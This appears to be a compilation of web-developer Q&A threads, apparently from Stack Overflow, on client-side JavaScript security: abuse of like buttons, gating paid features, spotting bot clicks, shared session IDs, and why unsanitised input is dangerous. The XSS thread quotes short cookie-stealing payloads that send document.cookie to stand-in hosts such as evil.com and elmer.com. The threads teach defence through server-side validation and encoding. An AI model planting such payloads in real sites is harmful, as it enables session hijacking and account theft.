Let's say I have a page where a user has an option to like a dislike something. The like or dislike actions send a post message to a control which increments/decrements the number of likes on a object. However, the user is not logged in when they do this action.
How can I protect this page from javascript code that automatically clicks on like or dislike. Right now, after the user clicks one of them, that entire container becomes hidden, but couldnt someone use javascript (in the url/bookmarklet) to bring it back and then execute a click?
Security problems include CSRF, Clickjacking and the Coup d'état for this poorly planed feature is that ip addresses are basically free. So if anyone wants to upvote, they can and they can do so as much as they want. If you want to slow them down you need a captcha to protect it.
Related
I am currently redesigning a website and looking for a solution on how to add a paid version of the site.
For example, say I have a <select> drop-down box with 20 elements inside. However, I want 15 of these 20 elements to be disabled unless the user has a paid account. At this time, that is the extent of what I need to differentiate between free/paid versions.
I'm planning on adding the ability to register an account and log in, as well as some type of payment processor (recommendations are appreciated for this! - currently looking at using Django/Python). I just don't know how to best go about managing two different levels of the website, and allowing those additional options to paid members.
I'm working with calculators that are pure Javascript. Using Bootstrap for the page design. As far as anything else goes, I'm open.
To do that, you'd have to add a field with a default value of NULL to your database, let's call it "subscription", into your users table. Then, everytime a user login to your website, fetch the subcription value and write it into a session variable. The last thing you have to do to ensure free members aren't allowed to perform any actions the subscribed members can is checking the content of the session variable while :
building your html, or you could check it on the client side with javascript right after the premium element has loaded (this is for user experience only since a client can remove any html attribute whnever they want)
and
while recieving the data of the premium element on the server side, accept it if the user is premium, reject it if they're free (again, just checking the session variable should do the job).
So as you can see, it's much more about preventing free users to gain access at the paid members options than allowing paid members to browse a completly new version of the website designed specifically for them.
I will try to give you a blunt idea maybe this might help you.
So lets say a user has paid for your service you can flag a token in yours app's backend if a particular user is paid or not. So whenever the user logs in your app next time you can get the status of the logged user.
Once you get the status of the logged user you can enable or disable ui elements.
I hope this made some sense.
Let's say, i have a website and it has one button: click me, and also a counter which counts how many times people clicked on the button.
The thing is, how to validate if the clicker is a real person, that he clicked only once e.t.c. ?
Ip's can be changed. Also, it's not a good choise to make a whole account system for a single button.
1.- You can save the count in the cache to make it accessible on the backend side.
2.- In the Frontend you cannot access to the IP, so you won't be able to check at that level.
3.- Maybe what you're looking for is a button with a Post in a login website, then everytime the button is clicked you can send the post with the user information and saved.
4.- To validate if'¡ it is a human you can use Google Captcha.
Hope this helps you!
You can use Google Invisible ReCAPTCHA. It's not 100% reliable when it comes to detect bots (it has been proven mutliple times by the past) but still very efficient.
However, to detect if a single person have clicked only once, there is no viable solution I think. You can maybe add a cookie and check if the cookie exists but it can be easily bypassed by simply deleting the said cookie.
To authenticate a unique device, you can store MAC, IP address, and User Agent. Of course, all those can both be spoofed to allow multiple clicks. That solution would also limit to one person per device, which may not be your intent. Storing User Agent with the MAC address is more difficult to get around than a cookie (that can be deleted).
You can eliminate the most common bots by their user agent, or you can use a CAPTCHA.
You authenticate persons by email account or OpenID, but I assume you want to make clicking the button as easy as possible.
Okay, this may sound like a stupid question, but this actually is a real life situation I gotta sort out.
The company I work for is using a rather outdated online shop software (PHP) which is hosted on the companys server. Unfortunately, the source code is encrypted and the CMS does not allow me to add some PHP code either, so I guess I'm stuck with JavaScript on this one.
Let's say we have a huge sale start coming up and people start sharing links via YouTube, Twitter, and so on. Due to the software being made somewhere in the last century, some links still contain session IDs which will definitely be shared by some users. This, however, will result in multiple users placing orders on the same customer account or even worse, overwriting existing customer accounts with new customer data.
I know that this situation is far from ideal and that the software definitely needs and update, but this is not an option at the moment. I also know that I'm not getting a 100% solution, so I'm just gonna try to prevent people from accidentally wrecking some customer data.
That being sad, I though about checking the URL for a Session ID and checking the value in document.referrer aswell. If the URL contains a Session ID and the referrer is some other server than ours, I'll just do a quick redirect to the main landing page. Again: This is meant to prevent the average user from accidentally logging into someone elses account due to clicking on a bad link, I'm not trying to prevent proper session hijacking here.
Any ideas on this one? Are there any situations where the referrer might not contain actual values, e. g. the browser not sending referrers at all? Any other ways to sort this out using JavaScript only?
I just happen to read the joel's blog here...
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.
Cross Site Scripting is a really big issue with javascript injection
It can read, write or manipulate cookies
That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.
I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.
There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn't really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.
Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.
So here's a more complete, two part answer:
If we're talking about the quoted passage, the answer is "no harm"
I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place
A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)
Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.
I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.
If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:
Imagine that instead of "Hello, Elmer!", that user entered
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>
and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.
If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.
For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.
Little example shown to me a while ago during XSS class..
Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:
<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>
Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!
Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.
What's the best way to prevent javascript injections in a VB.NET Web Application? Is there some way of disabling javascript on the pageload event?
Recently, part of the security plan for our vb.net product was to simply disable buttons on the page that weren't available to the specific user. However, I informed the guy who thought of the idea that typing
javascript:alert(document.getElementById("Button1").disabled="")
in the address bar would re-enable the button. I'm sure that someone else has ran into issues like this before, so any help is appreciated. Thanks!
Update:
Aside from validating user input, how can I protect the website from being toyed with from the address bar?
Any changes you make to the client-side behavior of your application are superficial and not secure at all. You should not rely upon these. They are nice to stop 99% of users, but it is trivially easy to bypass them. You should be checking whether a user has the right privileges for the action on the server side when the action is called, so that if someone did decide to re-enable the button themselves they would not be able to do whatever the button is meant to do. You have no control over what someone can do to the page with javascript, so you should never trust anything coming from the client.
Response to update: You can't in any practical way, which is exactly what the problem is. Once the website is in their browser, it's a free-for-all and they can have a go at it. Which is why your program should validate everything server side, every time.
The most important item to consider is html encoding the user input. If the user enters <script> it'll get converted to <script> etc.
Update: If expecting input from the url / querystring, validate the data with extreme measures. If possible white list the data received. When white listed, you're ensuring only what you deem correct and safe is a viable submission.
Never trust the users' input.
Always validate user input.
Never trust data from the clients. Always validate data and permissions on the server side, where you are in control. Remember that the user (or any other application) can send to you whatever data they want to.
It doesn't matter what you do to lock down the interface via javascript, your data can always be manipulated somehow. There are various tools, such as fiddler which can be used to modify, or recreate postbacks/requests.
Even if you find a way to lock things down, you're in an arms race if your data is important enough to the attacker. The most viable option is to validate your input server side.